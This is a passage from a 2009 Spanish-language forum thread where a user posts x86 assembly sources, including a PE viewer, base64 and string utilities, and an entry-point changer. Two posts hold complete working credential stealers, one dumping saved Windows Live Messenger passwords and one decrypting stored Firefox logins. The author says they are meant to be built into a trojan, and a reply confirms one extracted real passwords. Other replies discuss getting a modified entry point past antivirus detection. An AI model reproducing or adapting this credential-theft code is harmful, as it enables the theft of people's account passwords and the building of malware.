  216. mov [Export],ebx
  217. .buclelib:
  218. mov ebx,[Export]
  219. mov edi,dword[ebx+0ch]
  220. cmp edi,0
  221. je .salir
  222. add edi,[handle]
  223. invoke printf,"- Funciones de %s: ",edi
  224. invoke printf,"%s",Espacio
  225. xor esi,esi
  226. mov esi,dword[ebx]
  227. add esi,[handle]
  228. mov edi,esi
  229. xor ebx,ebx
  230. .bucleapi:
  231. xor esi,esi
  232. mov esi,dword[edi+ebx]
  233. cmp esi,0
  234. je .otralib
  235. add esi,[handle]
  236. add esi,2h
  237. invoke printf," [*]%s",esi
  238. invoke printf,"%s",Espacio
  239. add ebx,04h
  240. jmp .bucleapi
  241. .otralib:
  242. add  [Export] ,14h
  243. jmp .buclelib
  244. .salir:
  245. popad
  246. ret
  247. endp
  248.  
  249. .end start
  250. section '.reloc' fixups data discardable


Título: Re: Pequeño visor PE
Publicado por: Amerikano|Cls en 22 Abril 2009, 08:07 am
Muy bueno, si señor, será muy util este code. Gracias por el aporte  ;-).

salu2


Título: Re: Pequeño visor PE
Publicado por: YST en 22 Abril 2009, 08:16 am
Cita de: AmeRiK@nO en 22 Abril 2009, 08:07
Muy bueno, si señor, será muy util este code. Gracias por el aporte  ;-).

salu2
jeje gracias, lo que le quiero agregar ahora es que genere logs en html , yo creo que para unas semanas mas lo tengo generando logs en html :D .


Título: Re: Pequeño visor PE
Publicado por: Amerikano|Cls en 22 Abril 2009, 08:26 am
Muy bueno, si señor, será muy util este code. Gracias por el aporte  ;-).

salu2
jeje gracias, lo que le quiero agregar ahora es que genere logs en html , yo creo que para unas semanas mas lo tengo generando logs en html :D .

Pues adelante, ademas no creo que sea tan dificil  ;)


Título: Re: Pequeño visor PE
Publicado por: YST en 22 Abril 2009, 23:15 pm
Cita de: AmeRiK@nO en 22 Abril 2009, 08:26

Cita de:  YST en 22 Abril 2009, 08:16
Cita de: AmeRiK@nO en 22 Abril 2009, 08:07
Muy bueno, si señor, será muy util este code. Gracias por el aporte  ;-).

salu2
jeje gracias, lo que le quiero agregar ahora es que genere logs en html , yo creo que para unas semanas mas lo tengo generando logs en html :D .
Pues adelante, ademas no creo que sea tan dificil  ;)

Dificil no es , lo que si es es largo :xD.


Título: Re: Pequeño visor PE
Publicado por: Arkangel_0x7C5 en 23 Abril 2009, 01:53 am
buen code, para la proxima que sera? un editor de recurso? jeje ;D

Saludos


Título: Re: Pequeño visor PE
Publicado por: YST en 23 Abril 2009, 04:06 am
Cita de: Arcangel_0x7C5 en 23 Abril 2009, 01:53
buen code, para la proxima que sera? un editor de recurso? jeje ;D

Saludos
Ahora le estoy agregando aparte antes de hacer lo de los logs , algo que liste algunas cosas de el resource.

No estaria mal hacer un editor de resource , tal vez lo haga en un tiempo mas , pero ahora me quiero dedicar a un proyecto que en un rato mas voy a publicar para ver si alguien me ayuda.


Título: SRCs de YST.
Publicado por: YST en 23 Abril 2009, 07:10 am
Código
  1. include 'win32ax.inc'
  2.  
  3. .code
  4. start:
  5.  
  6. stdcall CapetaVaciaOUnidad,"F:"
  7.  
  8. .if eax = TRUE
  9. invoke MessageBox,0,"La carpeta esta vacia",0,0
  10. .else
  11. invoke MessageBox,0,"La carpeta no esta vacia",0,0
  12. .endif
  13.  
  14. invoke ExitProcess,0
  15.  
  16. proc CapetaVaciaOUnidad,ruta
  17. locals
  18. Find  WIN32_FIND_DATA    ?
  19. HandleBusqueda dd ?
  20. Ruta dd ?
  21. endl
  22.  
  23. push ebx
  24.  
  25. invoke GlobalAlloc,GPTR,MAX_PATH+1
  26. mov [Ruta],eax
  27. stdcall Concat,[ruta],"\*", [Ruta]
  28. invoke FindFirstFile,[Ruta] , addr Find
  29. mov [HandleBusqueda],eax
  30. invoke FindNextFile ,eax, addr Find
  31. invoke lstrcpy,[Ruta],addr Find.cFileName
  32. mov ebx,[Ruta]
  33.  
  34. .if word[ebx] = ".."
  35. invoke FindNextFile, [HandleBusqueda], addr Find
  36. .endif
  37. invoke lstrcpy,[Ruta],addr Find.cFileName
  38. mov ebx,[Ruta]
  39. .if word[ebx] = ".."
  40.  
  41. invoke GlobalFree,[Ruta]
  42. mov eax,TRUE
  43. .else
  44. .if dword[ebx] = "RECY"
  45. .if dword[ebx+4] = "CLER"
  46. invoke GlobalFree,[Ruta]
  47. mov eax,TRUE
  48. .endif
  49. .else
  50. invoke GlobalFree,[Ruta]
  51. mov eax,FALSE
  52. .endif
  53. .endif
  54. .endif
  55. pop ebx
  56.  
  57. ret
  58. endp
  59.  
  60. proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest
  61.  
  62.    mov esi,[@AdrSrc1]
  63.    mov edi,[@AdrDest]
  64.  
  65. .concat_src1:
  66.    movsb
  67.    cmp byte[esi],0
  68.    jne .concat_src1
  69.  
  70.    mov esi,[@AdrSrc2]
  71.  
  72. .concat_src2:
  73.    movsb
  74.    cmp byte[esi],0
  75.    jne .concat_src2
  76.  
  77.    movsb
  78.  
  79.    ret
  80. endp
  81. .end start


Título: Re: Saber si una carpeta esta vacia [ASM].
Publicado por: Karcrack en 23 Abril 2009, 15:32 pm
Código
  1. Private Declare Function PathIsDirectoryEmpty Lib "shlwapi.dll" Alias "PathIsDirectoryEmptyA" (ByVal pszPath As String) As Long

Ya existe una API que hace eso :P


Título: Re: Saber si una carpeta esta vacia [ASM].
Publicado por: YST en 23 Abril 2009, 18:56 pm
Ahora que veo el post de el source que traduci , Leandro puse esa api :xD :xD :xD :xD , nunca hay que traducir un codigo a las 2:30 am por lo visto :xD.

Edit:

Ahora mi source supera a la api  ::) ya que en unidades exxtraibles ( probado en XP ) , aunque esta estubiera vacia la api me la detectaba como que no lo estaba , al igual que mi primer source  ;D


Título: Re: Saber si una carpeta esta vacia [ASM].
Publicado por: Karcrack en 23 Abril 2009, 21:24 pm
Esto no comprueba si una Unidad esta vacia, solo lo hace con Carpetas :P


Título: SRCs de YST.
Publicado por: YST en 30 Abril 2009, 00:50 am
Código
  1. Espacio equ 13,10
  2. format pe console
  3. include 'win32ax.inc'
  4. entry start
  5. .data
  6. Logo db '         =====================================================',13,10
  7.     db '         = Humilde Visor de claves de el msn 0.1v by YST     =',13,10
  8.     db '         =====================================================',13,10,0
  9. lCount dd ?
  10. lCred dd ?
  11. struct DATA_BLOB
  12.    cbData                 dd ?
  13.    pbData                 dd ?
  14. ends
  15. tBlobOut   DATA_BLOB
  16. tBlobIn     DATA_BLOB
  17. lmem dd ?
  18. acento rb 3
  19. .code
  20. start:
  21. invoke system,"color 03"
  22. invoke printf,Logo
  23. invoke printf,Espacio
  24. invoke printf,Espacio
  25. invoke CredEnumerate,"WindowsLive:name=*", 0, lCount,lCred
  26. .if [lCount] = 0
  27.  
  28. invoke printf,"%s","Ninguna cuenta encontrada."
  29. jmp salir
  30. .else
  31. mov ebx, [lCred]
  32. .bucle:
  33. dec [lCount]
  34. mov eax, dword[ebx]
  35. mov edi,dword[eax+8]
  36. mov edx,dword[eax+24]
  37. mov esi,dword[eax+28]
  38.  
  39. mov  [tBlobIn.cbData],edx
  40.     mov  [tBlobIn.pbData] ,esi
  41.   invoke CryptUnprotectData,tBlobIn, $0, $0, $0, $0, $1, tBlobOut
  42.   .if     [tBlobIn.cbData] = 0
  43.   mov eax, dword[ebx]
  44. mov eax,dword[eax+48]
  45. invoke printf,"Mail: %s",eax
  46. invoke printf,Espacio
  47. invoke printf,Espacio
  48.   .else
  49.  
  50.   invoke LocalAlloc,GPTR,[tBlobIn.cbData];          
  51. mov [lmem],eax
  52. stdcall UniToAscii ,[lmem], [tBlobIn.pbData]
  53.   invoke printf,"%s","Mail: "
  54.   mov eax, dword[ebx]
  55. mov eax,dword[eax+48]
  56. invoke printf,"%s",eax
  57. invoke printf,Espacio
  58. invoke CharToOem,"ñ",acento
  59. invoke printf,"Contrase"
  60. invoke printf ,"%s",acento
  61. invoke printf, "a: %s",[lmem]
  62. invoke printf,Espacio
  63. invoke printf,Espacio
  64. invoke LocalFree,[lmem]
  65. .endif
  66.  
  67. .if [lCount] = 0
  68. .else
  69. add ebx,4
  70. jmp .bucle
  71. .endif
  72.  
  73. .endif
  74. salir:
  75. invoke ExitProcess,0
  76. proc UniToAscii, ascii, unicode
  77. push esi
  78. push edi
  79.  mov esi, [unicode]
  80.  mov edi, [ascii]
  81.  .count:
  82.  .if byte[esi] <> 0
  83.      movsb
  84.      jmp .count
  85.  .endif
  86.  inc esi
  87.  .if byte[esi] = 0
  88.      jmp .exit
  89.  .endif
  90.  jmp .count
  91.  .exit:
  92.  
  93.  mov eax, edi
  94.  add eax, 2
  95. pop edi
  96. pop esi
  97.  ret
  98. endp
  99.   section '.idata' import data readable writeable
  100.   library kernel32,'kernel32.dll',crypt32,"crypt32.dll",user32,'user32.dll',advapi32,'advapi32.dll',msvcrt,'msvcrt.dll'
  101.   include 'api/kernel32.inc'
  102.  import crypt32,CryptUnprotectData,"CryptUnprotectData"
  103.  
  104. import advapi32,\
  105. CredEnumerate,'CredEnumerateA'
  106. include 'api/user32.inc'
  107. import msvcrt,printf,"printf",system,"system"
  108.  
  109. section '.reloc' fixups data discardable


Título: Re: [SRC][ASM]Sacar claves guardadas de el messenger(provado con messenger 9)
Publicado por: Arkangel_0x7C5 en 30 Abril 2009, 03:18 am
menos mal que la mayoría no entienden asm

Saludos y buen code


Título: [SRC][ASM] Base64
Publicado por: YST en 30 Abril 2009, 03:55 am
Hola , tengo un source que cifra y descifra en base64 yo no soy el autor y no se quien es ni la fuente , pero yo siempre eh creido que si uno tiene algo que le puede servir a alguien mas es mejor publicarlo que no publicarlo por falta de fuente y autor .

Código
  1. include 'win32ax.inc'
  2. .data
  3. base64table db 43 dup (255)
  4. db 62,255,255,255,63,52,53,54,55,56,57,58,59,60,61,255
  5. db 255,255,0,255,255,255,0,1,2,3,4,5,6,7,8,9,10,11,12,13
  6. db 14,15,16,17,18,19,20,21,22,23,24,25,255,255,255,255
  7. db 255,255,26,27,28,29,30,31,32,33,34,35,36,37,38
  8. db 39,40,41,42,43,44,45,46,47,48,49,50,51
  9. db 132 dup (255)
  10. alphabet db "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  11. clave rb 255
  12. descifrada rb 255
  13. .code
  14.  
  15. start:
  16. invoke lstrlen,"WHKEsGay :O"
  17. stdcall base64encode,"WHKEsGay :O",clave,eax
  18.  
  19. invoke MessageBox,0,clave,clave,0
  20. invoke lstrlen,clave
  21. stdcall base64decode,clave,descifrada,eax
  22. invoke MessageBox,0,descifrada,descifrada,0
  23. invoke ExitProcess,0
  24. proc base64encode source, destination, sourcelen
  25. push edi
  26. push esi
  27. push ebx
  28. mov  esi, [source]
  29. mov  edi, [destination]
  30. @@base64loop:
  31. .if [sourcelen] = 1
  32. mov al, byte[esi]
  33. and eax, 0FFh
  34. mov ecx, 2 ;bytes to output = 2
  35. mov edx, 03D3Dh ;padding = 2 byte
  36. inc esi ;source ptr + 1
  37. dec [sourcelen] ;length - 1
  38. .elseif [sourcelen] = 2
  39. mov ax, word[esi]
  40. and eax, 0FFFFh
  41. mov ecx, 3 ;bytes to output = 3
  42. mov edx, 03Dh ;padding = 1 byte
  43. add esi, 2 ;source ptr + 2
  44. sub [sourcelen], 2 ;length - 2
  45. .else
  46. mov eax, dword [esi]
  47. and eax, 0FFFFFFh
  48. mov ecx, 4 ;bytes to output = 4
  49. xor edx, edx ;padding = 0 byte
  50. add esi, 3 ;source ptr + 3
  51. sub [sourcelen], 3 ;length - 3
  52. .endif
  53. xchg al,ah ; flip eax completely
  54. rol  eax, 16 ; can this be done faster
  55. xchg al,ah ; ??
  56.  
  57. @@:
  58. push  eax
  59. and   eax, 0FC000000h ;get the last 6 high bits
  60. rol   eax, 6 ;rotate them into al
  61. mov   al,  byte[alphabet+eax] ;get encode character
  62. stosb ;write to destination
  63. pop   eax
  64. shl   eax, 6 ;shift right 6 bits
  65. dec   ecx
  66. jnz   @B ;loop
  67.  
  68. cmp   [sourcelen], 0
  69. jnz   @@base64loop ;main loop
  70.  
  71. mov   eax, edx ;add padding and null terminate
  72. stosd ;  "     "    "     "     "
  73.  
  74. pop   ebx
  75. pop   esi
  76. pop   edi
  77. ret
  78. endp
  79.  
  80.  
  81. proc base64decode  source:DWORD, destination:DWORD, sourcelen:DWORD
  82. push   esi
  83. push   edi
  84. push   ebx
  85.  
  86. mov    esi, [source] ; esi <- source
  87. mov    edi, [destination] ; edi <- destination
  88. mov    ecx, [sourcelen]
  89. shr    ecx, 2
  90. cld
  91.  
  92. ;-------------[decoding part]---------------
  93.  
  94. @@outer_loop:
  95. push   ecx
  96. mov    ecx, 4
  97. xor    ebx, ebx
  98. lodsd
  99. @@inner_loop:
  100. push   eax
  101. and    eax, 0ffh
  102. mov    al, byte[base64table+eax]
  103. cmp    al, 255
  104. je     @@invalid_char
  105. shl    ebx, 6
  106. or     bl, al
  107. pop    eax
  108. shr    eax, 8
  109. dec    ecx
  110. jnz    @@inner_loop
  111. mov    eax, ebx
  112. shl    eax, 8
  113. xchg   ah, al
  114. ror    eax, 16
  115. xchg   ah, al
  116. stosd
  117. dec    edi
  118. pop    ecx
  119. dec    ecx
  120. jnz    @@outer_loop
  121. xor    eax, eax
  122. jmp    @@decode_done
  123.  
  124. ;-------------------------------------------
  125.  
  126. @@invalid_char:
  127. mov    eax, -1
  128. @@decode_done:
  129. pop    ebx
  130. pop    edi
  131. pop    esi
  132. ret
  133. endp
  134. .end start
  135.  

 


Título: Re: [SRC][ASM]Sacar claves guardadas de el messenger(provado con messenger 9)
Publicado por: Darioxhcx en 30 Abril 2009, 06:30 am
menos mal que la mayoría no entienden asm

Saludos y buen code
si uno quisiera hacerlo.. se buscaria un soft como los que hai en una recopilacion
y no necesita saber asm :P

si me pasas el .exe lo pruebo en 8.1 , nunca use ni 8.5 ni la version 9
lo compilaria yo , pero no tengo fasm ni ningun compilador asm
no se asm :P

un saludo

por cierto..

Humilde Visor de calves
claves :P


Título: Re: [SRC][ASM]Sacar claves guardadas de el messenger(provado con messenger 9)
Publicado por: YST en 30 Abril 2009, 06:37 am
La idea no es que lo uses tal cual esta ,la idea es modificarlo para ponerselo a algún troyano o algo a si .

Citar
si me pasas el .exe lo pruebo en 8.1 , nunca use ni 8.5 ni la version 9
No , muchas gracias , este deberia andar en todos los live sin problemas.

Citar
pero no tengo fasm ni ningun compilador asm

ASM no tiene compiladores si no ensambladores.

Citar
Humilde Visor de calves
claves
Corregido ;)


Título: Re: [SRC][ASM]Sacar claves guardadas de el messenger(provado con messenger 9)
Publicado por: Erik# en 30 Abril 2009, 10:59 am
Voy a probarlo y te digo, me servira para mi aprendizaje en ASM :).
A Ensamblaaar!

EDIT: Buenisimo, me ha sacado las dos claves que tenia guardadas.. ;)


Título: SRCs de YST.
Publicado por: YST en 1 Mayo 2009, 09:48 am
Despues de un dia entero trbaajando en el source para traducirlo lo logre , el codigo lo engo que optimisar todavia ya que tiene muchas partes inecesarias.

Código
  1. format pe console
  2. entry start
  3. include 'win32ax.inc'
  4. sPath equ dword[ebx+4]
  5. Espacio equ 13,10
  6. .data
  7.  
  8. struct TSECItem
  9.    SECItemType     dd ?
  10.    SECItemData     dd ?
  11.    SECItemLen      dd ?
  12.    ends
  13.    url dd ?
  14.    valor dd ?
  15.  
  16. lvLibs0 dd ?
  17. Logo db '         =====================================================',13,10
  18.     db '         = Humilde Visor de claves de el Firefox 0.1v by YST =',13,10
  19.     db '         =====================================================',13,10,0
  20.  
  21. URL dd ?
  22. Campo dd ?
  23. tsec TSECItem
  24. tSecDec  TSECItem
  25. lvLibs7 dd ?
  26. lKeySlot dd ?
  27. P dd ?
  28. bUsados    dd ?
  29. hFile dd ?
  30. tamAr dd ?
  31. IB dd ?
  32. sFFPath  rb MAX_PATH+1
  33. sRet rb 260
  34. sRet2 rb 260
  35. comp dd ?
  36. .code
  37. start:
  38. invoke system,"color 03"
  39. invoke printf,"%s",Logo
  40. invoke SHGetSpecialFolderLocation,0,26h,ebx
  41. invoke LocalAlloc,40h,MAX_PATH+1
  42. mov dword[ebx+4] ,eax
  43. invoke SHGetPathFromIDList,dword[ebx],sPath
  44. invoke lstrcat,sPath,"\Mozilla Firefox\"
  45.  
  46.  
  47. stdcall Cargar,dword[ebx+4],"mozcrt19.dll"
  48. stdcall Cargar,dword[ebx+4],"sqlite3.dll"
  49. stdcall Cargar,dword[ebx+4],"nspr4.dll"
  50. stdcall Cargar,dword[ebx+4],"plc4.dll"
  51. stdcall Cargar,dword[ebx+4],"plds4.dll"
  52. stdcall Cargar,dword[ebx+4],"nssutil3.dll"
  53. stdcall Cargar,dword[ebx+4],"softokn3.dll"
  54. stdcall Cargar,dword[ebx+4],"softokn3.dll"
  55.  
  56.  
  57. ;"nss3.dll"
  58. invoke LocalAlloc,40h,MAX_PATH+1
  59. mov [P],eax
  60. stdcall Concat,sPath, "nss3.dll",eax
  61. invoke LoadLibrary,[P]
  62. mov [lvLibs7],eax
  63. invoke LocalFree,[P]
  64. ;1A
  65. invoke SHGetSpecialFolderLocation,0,1ah,ebx
  66. invoke SHGetPathFromIDList,dword[ebx],sFFPath
  67. invoke lstrcat,sFFPath,"\Mozilla\Firefox\profiles.ini"
  68.  
  69. invoke GetPrivateProfileString,"Profile0", "Path", 0, sRet, 260, sFFPath
  70.  
  71. stdcall Zerar,sFFPath,MAX_PATH
  72.  
  73. invoke SHGetSpecialFolderLocation,0,1ah,ebx
  74. invoke SHGetPathFromIDList,dword[ebx],sFFPath
  75. invoke lstrcat,sFFPath,"\Mozilla\Firefox\"
  76. invoke lstrcat,sFFPath,sRet
  77. invoke lstrcat,sFFPath,"\signons3.txt"
  78.  
  79. invoke  CreateFile, sFFPath, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0
  80. mov [hFile], eax
  81. invoke  GetFileSize, eax, 0
  82. mov [tamAr], eax
  83. invoke  GlobalAlloc, GPTR, eax
  84. mov [IB], eax
  85. invoke  ReadFile, [hFile], [IB], [tamAr], bUsados, 0
  86.  
  87. invoke SHGetSpecialFolderLocation,0,1ah,ebx
  88. invoke SHGetPathFromIDList,dword[ebx],sRet2
  89. invoke lstrcat,sRet2  ,"\Mozilla\Firefox\"
  90. invoke lstrcat,sRet2  ,sRet
  91. ;lKeySlot
  92. invoke GetProcAddress,[lvLibs7], "NSS_Init"
  93. stdcall eax,sRet2
  94. .if eax = 0
  95. invoke GetProcAddress,[lvLibs7], "PK11_GetInternalKeySlot"
  96. stdcall eax
  97.   mov [lKeySlot],eax
  98. .if eax <> 0
  99.    invoke GetProcAddress,[lvLibs7], "PK11_Authenticate"
  100.  
  101.    stdcall eax,[lKeySlot],TRUE,0
  102. .if eax = 0
  103. xor edi,edi
  104. mov ebx,[IB]
  105. invoke printf,Espacio
  106. invoke printf,Espacio
  107. .bucle:
  108.  
  109. inc edi
  110. cmp edi, [tamAr]
  111. je salir
  112. inc ebx
  113. cmp byte[ebx],"."
  114. jne .bucle
  115. cmp byte[ebx+1],13
  116. jne .bucle
  117. cmp byte[ebx+2],10
  118. jne .bucle
  119. add ebx,3
  120. .if byte[ebx] <> 0
  121. mov [URL],ebx
  122. .bucle2:
  123. inc edi
  124. cmp edi, [tamAr]
  125. je salir
  126. inc ebx
  127. cmp byte[ebx],13
  128. jne .bucle2
  129. cmp byte[ebx+1],10
  130. jne .bucle2
  131. mov byte[ebx],0
  132. mov byte[ebx+1],0
  133. invoke printf,Espacio
  134. invoke printf,Espacio
  135. invoke printf,"WEB: %s",[URL]
  136. invoke printf,Espacio
  137. .campo:
  138. add ebx,2
  139. mov [Campo],ebx
  140. .bucle3:
  141. inc edi
  142. cmp edi, [tamAr]
  143. je salir
  144. inc ebx
  145. cmp byte[ebx],13
  146. jne .bucle3
  147. cmp byte[ebx+1],10
  148. jne .bucle3
  149. mov byte[ebx],0
  150. mov byte[ebx+1],0
  151. invoke printf,"Campo: %s",[Campo]
  152. invoke printf,Espacio
  153. add ebx,2
  154. mov [valor],ebx
  155. .bucle4:
  156. inc edi
  157. cmp edi, [tamAr]
  158. je salir
  159. inc ebx
  160. cmp byte[ebx],13
  161. jne .bucle4
  162. cmp byte[ebx+1],10
  163. jne .bucle4
  164. mov byte[ebx],0
  165. mov byte[ebx+1],0
  166. invoke lstrlen,[valor]
  167. mov [Campo],eax
  168.   invoke GetProcAddress,[lvLibs7], "NSSBase64_DecodeBuffer"
  169. stdcall eax,0,  tsec, [valor], [Campo]
  170.   invoke GetProcAddress,[lvLibs7], "PK11SDR_Decrypt"
  171.  
  172. stdcall eax, tsec,tSecDec, 0
  173. invoke printf,"Datos: %s",[tSecDec.SECItemData]
  174. invoke printf,Espacio
  175. add ebx,2
  176. .if dword[ebx] = "http"
  177. sub ebx,2
  178. jmp .bucle
  179. .else
  180. sub ebx,2
  181. jmp .campo
  182. .endif
  183. .endif
  184. .endif
  185. .endif
  186. .endif
  187. .endif
  188. salir:
  189. invoke ExitProcess,0
  190.  
  191. proc Cargar, sPathL, libreria
  192. invoke LocalAlloc,40h,MAX_PATH+1
  193. mov [P],eax
  194. stdcall Concat,[sPathL],[libreria] ,eax
  195. invoke LoadLibrary,[P]
  196. invoke LocalFree,[P]
  197. ret
  198. endp
  199. proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest
  200. mov esi,[@AdrSrc1]
  201. mov edi,[@AdrDest]
  202. .concat_src1:
  203. movsb
  204. cmp byte[esi],0
  205. jne .concat_src1
  206. mov esi,[@AdrSrc2]
  207. .concat_src2:
  208. movsb
  209. cmp byte[esi],0
  210. jne .concat_src2
  211. movsb
  212. ret
  213. endp
  214.  
  215. proc Zerar,Puntero,Cantidad
  216.  
  217.    push ecx
  218.    push ebx
  219.  
  220.              mov ecx,[Cantidad]
  221.                 mov ebx,[Puntero]
  222.                .bucle:
  223.  
  224.                mov byte[ebx+ecx],0
  225.                loop .bucle
  226.                mov byte[ebx],0
  227.                pop ebx
  228.                pop ecx
  229.                ret
  230. endp
  231.  
  232.   section '.idata' import data readable writeable
  233.   library kernel32,'kernel32.dll',user32,'user32.dll',msvcrt,'msvcrt.dll',shell32,'shell32.dll'
  234.   include 'api/kernel32.inc'
  235. include 'api/user32.inc'
  236. import msvcrt,printf,"printf",system,"system"
  237. include 'api/shell32.inc'
  238. section '.reloc' fixups data discardable


Título: Re: [SRC][ASM]Visor de claves de el firefox(provado con 3.0.10 )
Publicado por: Karcrack en 1 Mayo 2009, 11:13 am
Buen trabajo, yo estaba haciendo lo mismo :xD

Porcierto, todo lo que tu haces es Humilde? :xD :xD :xD

PD:El code es un poco mas pesado de lo necesario no?


Título: Re: [SRC][ASM]Visor de claves de el firefox(provado con 3.0.10 )
Publicado por: YST en 1 Mayo 2009, 16:12 pm
Cita de:  Karcrack en 01 Mayo 2009, 11:13
Buen trabajo, yo estaba haciendo lo mismo :xD
Gracias , podrias hacerlo tu tambien y postearlo.

Citar
Porcierto, todo lo que tu haces es Humilde? :xD :xD :xD
Si  :xD :xD

Citar
PD:El code es un poco mas pesado de lo necesario no?

el codigo lo tengo que optimizar todavia ya que tiene muchas partes inecesarias.
Aparte la sección

Código:
section '.reloc' fixups data discardable

ocupa mucho espacio , se la puedes sacar si gustas y el codigo lo termine a las 4:30 AM(hora chilena) osea no estaba en condicion para ponerme a mejorar el source  :xD.

Ahora a ver como guarda las claves el IE7 y el IE8


Título: SRCs de YST.
Publicado por: YST en 1 Mayo 2009, 18:16 pm
Código
  1. include 'win32ax.inc'
  2. INVALID_FILE_SIZE = 0xffffffff
  3. .code
  4. start:
  5. stdcall ChangeEntryPoint,"c:\Arreglado.exe",$
  6. .if eax = 0
  7. invoke MessageBox,0,"Ocurrio un error al intentar cambiar el Entry Point" ,0,0
  8. .else
  9. invoke MessageBox,0,"El Entry Point a sido cambiado" ,0,0
  10. .endif
  11. invoke ExitProcess,0
  12.  
  13.  
  14. proc ChangeEntryPoint,Path,NewEP:DWORD
  15. locals
  16. Handle dd ?
  17. Tamaño dd ?
  18. Emezeta dd ?
  19. cantidad dd ?
  20. endl
  21. push ebx
  22. invoke  CreateFile, [Path], GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0    ;Abrimos el archivo para lectura
  23. cmp eax,INVALID_HANDLE_VALUE
  24. je .error
  25. mov [Handle],eax                                     ;Guardamos el handle
  26. invoke  GetFileSize, eax, 0                         ;Vemos el tamaño
  27. cmp eax,INVALID_FILE_SIZE
  28. je .error
  29. mov [Tamaño], eax
  30. invoke  GlobalAlloc, GPTR, eax
  31. mov [Emezeta], eax
  32. invoke  ReadFile, [Handle], [Emezeta], [Tamaño], addr cantidad, 0     ;Leemos el archivo
  33. cmp eax,TRUE
  34. jne .error
  35. invoke CloseHandle,[Handle]     ;Cerramos el handle
  36. cmp eax,NULL
  37. je .error
  38.  
  39. mov ebx,[Emezeta]
  40. cmp word[ebx],"MZ"
  41. jne .error
  42.  
  43. add ebx,dword[ebx+03ch]
  44. cmp word[ebx],"PE"
  45. jne .error
  46.  
  47. xor eax,eax
  48. mov eax,[NewEP]
  49. mov dword[ebx+28h],eax      ;Cambiamos el EP
  50.  
  51. invoke CreateFileA,[Path], GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0    ;Creamos el archivo borrando el anterior
  52. cmp eax,INVALID_HANDLE_VALUE
  53. je .error
  54.               mov [Handle], eax
  55.  
  56.                ;Escibimos el archivo
  57.                invoke WriteFile, [Handle], [Emezeta] , [Tamaño],addr cantidad, NULL
  58.  
  59.                ; "Cerramos" el archivo
  60.                invoke CloseHandle,[Handle]
  61.  
  62. cmp eax,NULL
  63. je .error
  64. mov eax,1
  65. jmp .salir
  66. .error:
  67. xor eax,eax
  68. .salir:
  69. pop ebx
  70. ret
  71. endp
  72. .end start


Título: Re: [SRC][ASM]ChangeEntryPoint
Publicado por: ‭‭‭‭jackl007 en 1 Mayo 2009, 18:20 pm
me pregunto los antivirus detectran que se cambia el entrypoint?
buen trabajo


Título: Re: [SRC][ASM]ChangeEntryPoint
Publicado por: [Zero] en 1 Mayo 2009, 18:37 pm
Si, concretamente avira y bitdefender entre otros lo detectan, yo tuve problemas con eso en mi proyecto y estuve bastante pensando hasta que por fin conseguí saltarmelo  ;D. Con ejecutables en VB lo detectan bastante ya que tienen el mismo entry point y con los otros no tanto pero si.

Saludos


Título: Re: [SRC][ASM]ChangeEntryPoint
Publicado por: YST en 1 Mayo 2009, 18:40 pm
Citar
me pregunto los antivirus detectran que se cambia el entrypoint?
Depende el caso , por ejemplo como dice Hacker_zero si se lo cambias a un ejecutable hecho con Viisual basic te lo detectan.


Título: Re: [SRC][ASM]ChangeEntryPoint
Publicado por: ~~ en 3 Mayo 2009, 20:37 pm
Mapear el archivo en estos casos suele ahorrar bastante trabajo, ya que se guardan los cambios automáticamente al "desmapearlo". Buen trabajo ;)


Título: Re: [SRC][ASM]ChangeEntryPoint
Publicado por: YST en 4 Mayo 2009, 03:22 am

Citar
Mapear el archivo en estos casos suele ahorrar bastante trabajo, ya que se guardan los cambios automáticamente al "desmapearlo".
Con mapear el archivo te refieres a usar las api's como CreateFileMapping ? . Si es a si si tienes razón disminuyen el trabajo.

Citar
Buen trabajo ;)
Gracias  :D


Título: Re: [SRC][ASM]ChangeEntryPoint
Publicado por: ~~ en 4 Mayo 2009, 15:33 pm
Si, a esas mismas, así solo tendrías que mapearlo, cambiar en memoria el DWORD del EP y desmapearlo xD


Título: SRCs de YST.
Publicado por: YST en 5 Mayo 2009, 10:24 am
Hola , para un proyecto que tengo que hacer tube la necesidad de desarrollar algo parecido al split de visual basic , se los dejo espero que les sirva
Código
  1. include 'win32ax.inc'
  2. .data
  3. Separador db "/()·/", 0
  4. Cadena db 'Soy/()·/una/()·/cadena',0
  5. Cantidad dd ?
  6. buffer rb MAX_PATH
  7. .code
  8. start:
  9. stdcall Split,Cadena,Separador,buffer
  10. mov [Cantidad],eax
  11. stdcall Len,Separador
  12. mov ebx,eax
  13. mov ecx,[Cantidad]
  14. inc ecx
  15. mov esi,buffer
  16. .bucle:
  17. push ecx
  18. invoke MessageBox,0,esi,esi,0
  19. stdcall Len,esi
  20. add esi,eax
  21. add esi,ebx
  22. pop ecx
  23. loop .bucle
  24. invoke ExitProcess,0
  25. ; cCadena(in) = Cadena a partir
  26. ; cSeparador(in) = Separador que se usara para partir la cadena
  27. ; cBuffer(out) = A donde se guardara la cadena partida
  28. ; Retorna la cantidad de separadores encontrados
  29. proc Split,cCadena,cSeparador,cBuffer
  30. push edi esi ecx  ebx
  31. xor ebx,ebx
  32. stdcall copy,[cBuffer],[cCadena]
  33. stdcall Len,[cSeparador]
  34. mov edi,eax
  35. mov  esi,[cBuffer]
  36. dec  esi
  37. .bucle:
  38. inc esi
  39. cmp byte[esi],0
  40. je .salir
  41. mov cl,byte[esi+edi]
  42. mov byte[esi+edi],0
  43. stdcall comparar,esi,[cSeparador]
  44. mov byte[esi+edi],cl
  45. cmp eax,0
  46. jne .bucle
  47. inc ebx
  48. mov byte[esi],0
  49. add esi,edi
  50. jmp .bucle
  51. .salir:
  52. mov eax,ebx
  53. pop ebx ecx esi edi
  54. ret
  55. endp
  56.  
  57. proc comparar ,SRC,DST ;Funcion que compara
  58. push edi ecx esi
  59. mov ecx,-1
  60. mov edi,[SRC]
  61. mov al,0
  62. repnz scasb
  63. mov eax,ecx
  64. not eax
  65. mov ecx,eax
  66. mov esi,[SRC]
  67. mov edi,[DST]
  68. repz cmpsb
  69. mov eax,1
  70. jnz Next
  71. dec eax
  72. Next:
  73. pop esi ecx edi
  74. ret
  75. endp
  76. proc Len,cCadena   ;Funcion que mide la cadena
  77. push ecx edi
  78. mov ecx,-1
  79. mov edi,[cCadena]
  80. mov al,0
